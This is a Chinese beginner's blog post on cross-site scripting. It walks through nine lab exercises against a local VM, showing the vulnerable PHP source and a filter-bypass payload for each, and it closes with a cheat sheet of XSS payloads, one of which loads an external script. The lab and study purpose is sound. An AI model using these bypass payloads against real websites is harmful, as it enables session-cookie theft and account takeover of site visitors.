XSS笔记
前言
第一次写博客,从申请博客到正式开写,想了两天到底写什么比较好,刚好我最近学习XSS攻击,结合自己的学习情况和经验吧,写一些东西作为纪念,希望以后自己看到成长的我。按照正常情况下,学习完这个实验,会有基本的XSS概念和入门思想。Go Go!
- 一、跨站脚本攻击
XSS读叉XX,本来的意思是CSS(Cross Site Script),CSS很绕口,最后改成XSS了。其工作原理也不是很难,在WEB里面插入恶意代码,当用户浏览网页时,恶意代码自动执行,从而达到攻击的目的。
1、XSS的危害:盗取cookie、放蠕虫、网站钓鱼等等
2、其类型有三种:反射型XSS,存储型XSS、DOM型XSS
- 二、实验环境测试
理论上的东西很枯燥,自己可以去百度一下,有更厉害的前辈发的文章。这次我先来点基本实验,看下是怎么XSS。若经过下面简单的实验,你也许能了解一些东西,感觉好玩了,再去找理论的东西学习,效果会更好。
这里我是利用Debian6镜像系统练习的,自己搞的连接链接:如下
https://pan.baidu.com/s/1bphjaZP 密码:p72y
两个文件都下载解压,虚拟环境是镜像系统,i386-iso放在CD里面的镜像文件,如图所示:

还有一个较为重要的是虚拟机需要新增加一个网络适配器,模式改为仅主机模式,那就可以了,如图所示。
正常情况下你可以开启虚拟机了,输入命令ifconfig,Eth1显示的IP地址为192.168.64.129,然后在浏览器里面输入这个IP地址,网页出来了,我们下面就开始学习XSS基本的实验了。
- 1、来个最简单的,没有任何过滤的XSS。
其网址为http://192.168.64.129/xss/example1.php?name=hacker
使用的基本语句
<script>alert(1)</script>
把这句话导进去为
http://192.168.64.129/xss/example1.php?name=<script>alert(1)</script>
弹出窗口了,实验结束

在实际中,我们很少直接找到源代码,因为这是实验环境,所以贴出源代码,大家分析一下吧,源代码直接贴出。
<?php
echo $_GET["name"];
?>
- 2、因为这个是学习版,直接给出源代码,来如何绕过去吧。
它对应的代码如下
<?php
$name = $_GET["name"];
$name = preg_replace("/<script>/", "", $name);
$name = preg_replace("/<\/script>/", "", $name);
echo $name;
?>
函数preg_replace("/<script>/", "", $name);在XSS里面过滤了小写,直接用大写绕过就可以了。
http://192.168.64.129/xss/example2.php?name=<Script>alert(1)</Script>
3、它对应的代码如下
<?php
$name = $_GET["name"];
$name = preg_replace("/<script>/i", "", $name);
$name = preg_replace("/<\/script>/i", "", $name);
echo $name;
?>
函数$name = preg_replace("/<script>/i", "", $name);在XSS里面过滤了大小写,刚才的方式已经没有效果了,这里使用一个巧妙的方式绕过。
http://192.168.64.129/xss/example3.php?name=<scr<script>ipt>alert(1)</scr</script>ipt>
这种情况下,<script>和</script>被去掉了,其他语句继续合并,那就剩下<scr ipt>alert(1)</scr ipt>
4、贴出源代码
<?php
if(preg_match('/script/i', $_GET["name"])) {
die("error");
}
?>
这代码的意思就是只要包含script就报错,上面的方式已经过期了,搞其他的。
这次使用img标签
http://192.168.64.129/xss/example4.php?name=<img src='a' onerror='alert(1)'>
这种情况下<img>与<script>标签原理也是一样的。
5、贴出源代码
<?php
if(preg_match('/alert/i', $_GET["name"])) {
die("error");
}
?>
这代码的意思就是只要包含alert就报错,这题就好玩了
因为我们前面都是含有alert(1)来实现的
现在alert被禁了,有点麻烦,但是也是可以有办法的
<script>alert(1)</script>
转码为
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script>
即
alert(1)
转成
String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)
完整代码
http://192.168.64.129/xss/example5.php?name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script>
6、贴出源代码,直接js环境输入php变量,简单来说已经给我们写了<script>前面的东西了,我们只要闭合他,就可以XSS了
<script>
var $a = "<?php echo $_GET["name"]; ?>";
</script>
我们输入 ";b=alert(1);eval(b);// 后
会变成
<script>
var $a = "<?php echo $_GET["";b=alert(1);eval(b);//"]; ?>";
</script>
http://192.168.64.129/xss/example6.php?name=";b=alert(1);eval(b);//
7、源代码贴出来,分析
函数htmlentities是在js环境下通过html编码php,但是它有个缺点,就是不过滤单引号
<script>
var $a = "<?php echo htmlentities($_GET["name"]); ?>";
<script>
上面双引号改成单引号
http://192.168.64.129/xss/example7.php?name=';b=alert(1);eval(b);//
8、源代码贴出,分析
这里与上面的有点不一样,贴图出来

这个POST地址使用了当前URL。
<?php
if(isset($_POST["name"])) {
echo "HELLO ".htmlentities($_POST["name"]);
}
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit" />
分析:原理是构造当前URL
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
把
/"method="POST"><script>alert(1)</script>
接进去,变成
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">/"method="POST"><script>alert(1)</script>
刚好构造完成,XSS
http://192.168.64.129/xss/example8.php/"method="POST"><script>alert(1)</script>
9、遇到一个问题,没办法实现,直接在页面输出锚点id,构建XSS,源代码
<script>
document.write(location.hash.substring(1));
</script>
查看了一下别人的做法
http://192.168.64.129/xss/example9.php#<script>alert(1)</script>
但是我没实现出来,以后会更多了,再去搞!
感谢你们,这教程适合刚入门的小伙伴吧,可以互相学习,孤独的道路上,共勉!
最后是常用的XSS代码
<script>alert(/我是张三/)</script>
1<ScRiPt >alert(/我是张三/)</ScRiPt>
'"()&%1<ScRiPt >alert(/我是张三/)</ScRiPt>
</textarea><script>alert(document.cookie)</script><textarea>
<img src="javascript:alert(/sss/)" width=100>
<img src="#" onresume=alert(/sss/)>
<img src="#" onreverse=alert(/sss/)>
</textarea><script>alert(/xss/)</script>
</title><script>alert(/xss/)</script>
<script src=http://yoursite.com/your_files.js></script>
"><script>alert(0)</script>
<IMG SRC=\"jav
ascript:alert('XSS');\">
<IMG SRC=\"jav
ascript:alert('XSS');\">
<IMG SRC=\"jav	ascript:alert('XSS');\">
<BODY onload="alert('XSS')">
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script>
<img src='a' onerror='alert(1)' />
1";alert(/1/)</script>
";b=alert(1);eval(b);//
";alert(/我是张三/)</script>
浙公网安备 33010602011771号